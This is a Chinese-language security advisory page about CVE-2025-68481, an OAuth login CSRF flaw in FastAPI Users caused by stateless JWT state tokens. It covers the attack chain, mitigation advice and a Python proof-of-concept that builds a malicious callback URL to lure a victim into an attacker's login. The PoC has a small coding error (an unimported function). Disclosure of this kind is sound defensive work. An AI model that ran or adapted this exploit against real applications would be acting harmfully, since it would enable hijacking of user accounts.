IPBUF安全漏洞报告
English
CVE-2025-68481 CVSS 5.9 中危

CVE-2025-68481 FastAPI Users OAuth登录状态令牌CSRF漏洞

披露日期: 2025-12-19

漏洞信息

漏洞编号
CVE-2025-68481
漏洞类型
CSRF跨站请求伪造
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
FastAPI Users

相关标签

CSRFOAuthFastAPIJWT认证绕过状态令牌登录劫持CVE-2025-68481

漏洞概述

CVE-2025-68481是FastAPI Users框架中的一个OAuth登录CSRF(跨站请求伪造)漏洞。该漏洞存在于FastAPI Users 15.0.2之前的版本中,由于OAuth登录状态令牌完全是 stateless(无状态)的,攻击者可以利用这一缺陷劫持受害者的OAuth认证流程,从而实现账户接管或让受害者登录到攻击者的账户。漏洞的核心问题在于generate_state_token()函数总是使用空的state_data字典调用,导致生成的JWT仅包含固定的audience声明和过期时间戳,而没有将状态令牌与发起OAuth流程的会话进行关联。攻击者可以先访问授权端点获取服务器生成的状态令牌,然后完成上游OAuth流程,最后诱导受害者加载回调URL并完成认证流程。由于状态JWT对任何客户端在约1小时内都有效,受害者的浏览器将完成整个OAuth流程,从而导致登录CSRF攻击。

技术细节

FastAPI Users的OAuth实现存在严重的安全设计缺陷。在OAuth 2.0认证流程中,state参数本应用于防止CSRF攻击,但该库的实现在以下方面存在漏洞:1) generate_state_token()函数总是使用空的state_data字典生成JWT,缺少会话绑定信息;2) 回调验证时仅检查JWT签名和过期时间,不验证状态令牌与发起请求浏览器的关联性;3) 没有使用correlation cookie或服务端缓存来关联状态值。攻击者可以构造攻击流程:首先访问应用的/authorize端点获取服务器生成的有效state令牌;其次使用自己的OAuth提供商账户完成上游OAuth流程获取授权码;最后诱骗受害者访问包含攻击者授权码和state令牌的回调URL。由于JWT状态令牌在约1小时内对任何客户端都有效,受害者浏览器将完成认证流程,其账户会被绑定到攻击者的OAuth账户,或攻击者获取受害者账户的访问权限。

攻击链分析

STEP 1
步骤1
攻击者访问目标应用的/authorize端点,从服务器响应中获取有效的state令牌(JWT)
STEP 2
步骤2
攻击者使用自己的OAuth提供商(如GitHub)账户完成OAuth授权流程,获得授权码
STEP 3
步骤3
攻击者构造恶意回调URL,包含攻击者的授权码和之前获取的有效state令牌
STEP 4
步骤4
攻击者通过社会工程学手段诱导受害者访问该恶意回调URL
STEP 5
步骤5
受害者浏览器加载回调URL,应用验证JWT签名和过期时间后完成OAuth流程
STEP 6
步骤6
受害者账户被绑定到攻击者的OAuth账户,或攻击者获取受害者账户访问权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-68481 PoC - FastAPI Users OAuth Login CSRF Note: This PoC is for educational and authorized testing purposes only. """ import requests import time from urllib.parse import urlparse TARGET_URL = "https://vulnerable-app.com" ATTACKER_OAUTH_CODE = "attacker_github_code_xxx" def exploit_oauth_csrf(): """ Step 1: Obtain a valid state token from the vulnerable application """ authorize_url = f"{TARGET_URL}/authorize?provider=github&redirect_uri=/callback" # The server will respond with a redirect containing the state parameter # Extract the state token from the Location header or query parameters response = requests.get(authorize_url, allow_redirects=False) if response.status_code in [302, 303]: redirect_url = response.headers.get('Location', '') parsed = urlparse(redirect_url) state_token = dict(parse_qsl(parsed.query)).get('state') print(f"[+] Obtained state token: {state_token}") """ Step 2: Craft the malicious callback URL """ malicious_callback = ( f"{TARGET_URL}/callback?" f"code={ATTACKER_OAUTH_CODE}" f"&state={state_token}" ) print(f"[!] Malicious callback URL: {malicious_callback}") print("[*] Induce victim to visit this URL via social engineering") return malicious_callback def main(): print("=" * 60) print("CVE-2025-68481 FastAPI Users OAuth Login CSRF PoC") print("=" * 60) exploit_oauth_csrf() if __name__ == "__main__": main()

影响范围

FastAPI Users < 15.0.2

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制OAuth state令牌的有效期至较短时间(如5分钟);2) 实现IP或User-Agent绑定验证;3) 在回调处理中增加额外的CSRF token验证;4) 监控异常的OAuth回调请求模式;5) 考虑暂时禁用OAuth登录功能,使用传统的用户名密码认证作为替代方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表